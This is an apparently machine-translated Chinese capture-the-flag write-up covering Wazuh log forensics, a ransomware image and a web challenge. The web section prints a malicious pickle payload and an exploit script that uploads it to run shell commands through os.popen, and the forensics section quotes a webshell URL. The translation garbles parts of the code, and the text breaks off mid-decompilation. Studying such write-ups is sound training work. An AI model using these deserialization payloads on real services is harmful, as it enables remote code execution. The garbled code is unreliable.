发布于2025年12月5日12月5日 紧急情况 紧急响应暹粒 百度网盘: 网盘共享文件:siem-encrypted.rar 链接: https://pan.baidu.com/s/1wtfdSY2hThOAzVRGr9jwcg 提取码: e86t 解压密码:x2p1nsWFG4KfXp5BXegb 问题描述:比赛期间问题描述发生过一次变更,如下: 初始: 某公司内网被攻破。请分析问题并提供正确的标志。 flag1:攻击者的IP地址是什么? flag2: 攻击期间有多少终端会话成功登录? flag3:攻击者留下的后门系统用户是什么? flag4: 认为攻击者尝试使用命令行请求网页的完整URL 地址 flag5: 提交wazuh 来记录攻击者对域进行哈希传递攻击时记录的事件ID flag6: 提交攻击者用于域攻击的工具 flag7: 提交攻击者删除DC 桌面上的文件名 标志格式:flag{md5(flag1-flag2-flag3-.-flag6-flag7)} 虚拟机系统密码:wazuh-user/wazuh 网址:http://IP:80 账号密码admin/admin 第一次改变 更改后忘记保存了。无论如何,flag6 和flag7 改变了。据说flag6工具不需要后缀,而flag7删除的文件名需要后缀。 flag1:攻击者的IP地址是什么? 首先打开电脑,使用给定的密码登录系统,使用sudo su切换到root用户,查看当前虚拟机的IP地址: 测试发现80端口未开放,实际需要访问https://IP:443才能打开网页。 打开发现三个主机 按照正常的渗透测试流程,是通过app进行调用,然后通过PC控制域控,所以这里我们先看一下app的日志。点击这里将日志时间延长到一年: 之前没有使用过这个系统,所以一一点击。单击下面的标签可以查看攻击信息。 可以看到该app有大量登录失败的记录: 推测该app已被破解登录,点击下图所示位置,查看详细信息: 观察几页日志,发现大量SSH登录失败日志: 查看攻击者IP:192.168.41.143 flag2: 攻击期间有多少个终端会话成功登录? 如上所示,是13 倍 flag3:攻击者留下的后门系统用户是什么? 查看日志,发现有添加用户的行为。 查看用户名hacker flag4:提出攻击者尝试使用命令行请求网页的完整URL地址。 命令行一般使用curl来请求网页。如果直接搜索curl,可以看到有两条日志,但另一条日志是本机发起的,因此可以确定完整的URL就是黑客攻击发起的。 https://192.168.41.146/.back.php?pass=id flag5: 提交wazuh 以记录攻击者针对域进行哈希传递攻击时记录的事件ID 查看PC 日志并过滤可能的哈希攻击 flag6: 提交攻击者用于域攻击的工具 发现mimikatz被创建了 flag7: 提交攻击者删除DC 桌面上的文件名 直接查看DC日志并过滤文件删除日志 可以直接看到删除桌面的文件名 结果 192.168.41.143-13-hacker-http://192.168.41.136/.back.php?pass=id-1734511987.34749419-mimikatz-ossec.conf标志{3bfc26f5d9f932ccf73f356019585edf} 勒索软件入侵响应 。攻击者IP地址2. 攻击者的webshell文件名3. 攻击者的恶意软件文件名4. 恢复flag.encrypt中指定的内容 5、提交flag格式为:flag{攻击者IP地址-攻击者修改后的webshell文件名-攻击者恶意软件文件名-恢复flag.encrypt中指定内容} 将勒索软件镜像导入到lovelymemluex 定时任务查看/etc/crontab 通过RS 导入图像- 使用flag.encrypt 解密 flag{192.168.85.128-error.php-U98ab8a1-0cc91e6dad77} 网络 伪造问题测试点• 测试点1:unicode替换字符,绕过管理员登录 •测试点2:文件上传 解决问题的思路 我看到了登录框,想看看如何绕过它。注册的时候发现只能使用admin登录,但是不能使用admin作为用户名,于是就想到了用unicode的admin替换admin来注册。 但我以为只能用admin用户名登录,却使用注册时设置的密码成功登录界面。 点击上传模型,看到文件上传类型,然后旁边有一个示例文件。 看到是一个.pkl文件,我们可以使用AI运行代码生成该文件,然后上传。 经验: 进口泡菜 定义CHIKAWA类,初始化方法没有额外的业务逻辑 千川级: def __init__(self): 通过 1.创建CHIKAWA类实例 chikawa_instance=CHIKAWA() 2.向实例添加指定的属性和值 chikawa_instance.model_name='JKL0x3e' chikawa_instance.data=b'c__builtin__\ngetattr\np0\n(cpathlib\nPath\np1\nVread_text\np2\ntp3\nRp4\n(cpat hlib\nPosixPath\np5\n(V\u002f\u0066\u006c\u0061\u0067\np6\ntp7\nRp8\ntp9\nRp10\n。' 3. 序列化实例对象 serialized_data=pickle.dumps(chikawa_instance) 4.将序列化数据写入test.pkl文件 打开('test.pkl','wb')作为file: 文件.write(序列化数据) 运行后可以得到test.pkl文件 文件上传到网页后,会得到FLAG FLAG 标志{va4WdBiEqFe6QkaJ5tZLmrxgkIygf8Kd} 或 提示管理员登录。需要绕过注入管理员提示。经测试,可以注册admin通过加空格的方式覆盖密码。登录后台时可以上传pkl文件。检查示例文件,发现是`pickle`序列化数据。有一些保护措施。发现os.popen没有禁止。使用下面的exp直接打开。 importpickleimportrequestsdefupload(payload): u=url +'upload' r=req.post(u, files={'file': ('123.pkl', Payload)}) returnr.text.split('strong123.pkl/strong')[1].split('form action='/execute/')[1].split(''')[0]defexec_(id): u=url +'execute/'+id print(req.post(u).text)classCHIKAWA: def__init__(self, Payload): self.model_name='123' self.data=Payload.encode() self.parameters=[]url='http://web-e02460973d.challenge.longjiancup.cn:80/'req=requests.session()req.post(url +'注册', data={'用户名':'admin','密码':'admin'})req.post(url +'登录', data={'用户名':'admin','密码':'admin'})payload=f'''cospopen(Vtouch '/tmp/`/bin/ca?/?lag`'tR.'''payload=pickle.dumps(CHIKAWA(payload))exec_(upload(payload))payload=f'''coslistdir(V/tmp/tR.'''payload=pickle.dumps(CHIKAWA(有效负载))exec_(上传(有效负载)) 不太常见的问题测试点•测试点1 •测试点2 解题思路是用ida打开main函数,直接就是secret Java __int64 __fastcall sub_140001600(__int64 a1, __int64 a2, __int64 a3) { __int64 v3; //拉克斯 __int64 v4; //读取数据 __int64 v5; //r8 __int64 v6; //拉克斯 __int64 v8; //[rsp+20h] [rbp-48h] 字符v10; //[rsp+37h] [rbp-31h] __int64 v11; //[rsp+50h] [rbp-18h] BYREF __int64 v12; //[rsp+58h] [rbp-10h] BYREF v8=a2; LOBYTE(a2)=v10; sub_140002D00(a1, a2, a3); v12=sub_140005C80(v8); v11=sub_140003D70(v8); v3=sub_140005C90(v8); v6=sub_1400015F0(v3, v4, v5); sub_140005AE0(a1, v6, v11, v12); 返回a1; } 爪哇 _DWORD *__fastcall sub_1400020D0(_DWORD *a1, __int64 n12, __int64 a3) { _DWORD *v4; //[rsp+20h] [rbp-28h] int n12_1; //[rsp+38h] [rbp-10h] 字符v7; //[rsp+3Fh] [rbp-9h] BYREF n12_1=n12; *a1=n12; v4=a1 + 2; sub_1400015F0(v7, n12, a3); sub_140002CB0( v4, ((n12_1 + 1)0xFFFFFFFD) * (~((_BYTE)n12_1 + 1) 2) + (((_BYTE)n12_1 + 1) 2) * ((n12_1 + 1) | 2), v7); 返回a1; } C++ //函数看起来被扁平化了 __int64 __fastcall sub_140002170(__int64 a1, __int64 a2) { __int64 v2; //读取数据 __int64 v3; //r8 整数v4; //EAX _DWORD *v5; //拉克斯 _DWORD *v6; //拉克斯 __int64 v7; //读取数据 int v9; //[rsp+20h] [rbp-C8h] int n3_4; //[rsp+28h] [rbp-C0h] int v11; //[rsp+2Ch] [rbp-BCh] int v12; //[rsp+3Ch] [rbp-ACh] int v13; //[rsp+40h] [rbp-A8h] 整数k; //[rsp+60h] [rbp-88h] int v16; //[rsp+64h] [rbp-84h] 整数n3; //[rsp+68h] [rbp-80h] int v18; //[rsp+6Ch] [rbp-7Ch] 无符号整数v19; //[rsp+70h] [rbp-78h] 无符号整数v20; //[rsp+74h] [rbp-74h] 无符号__int64 j; //[rsp+78h] [rbp-70h] 签名int i; //[rsp+84h] [rbp-64h] _
创建帐户或登录后发表意见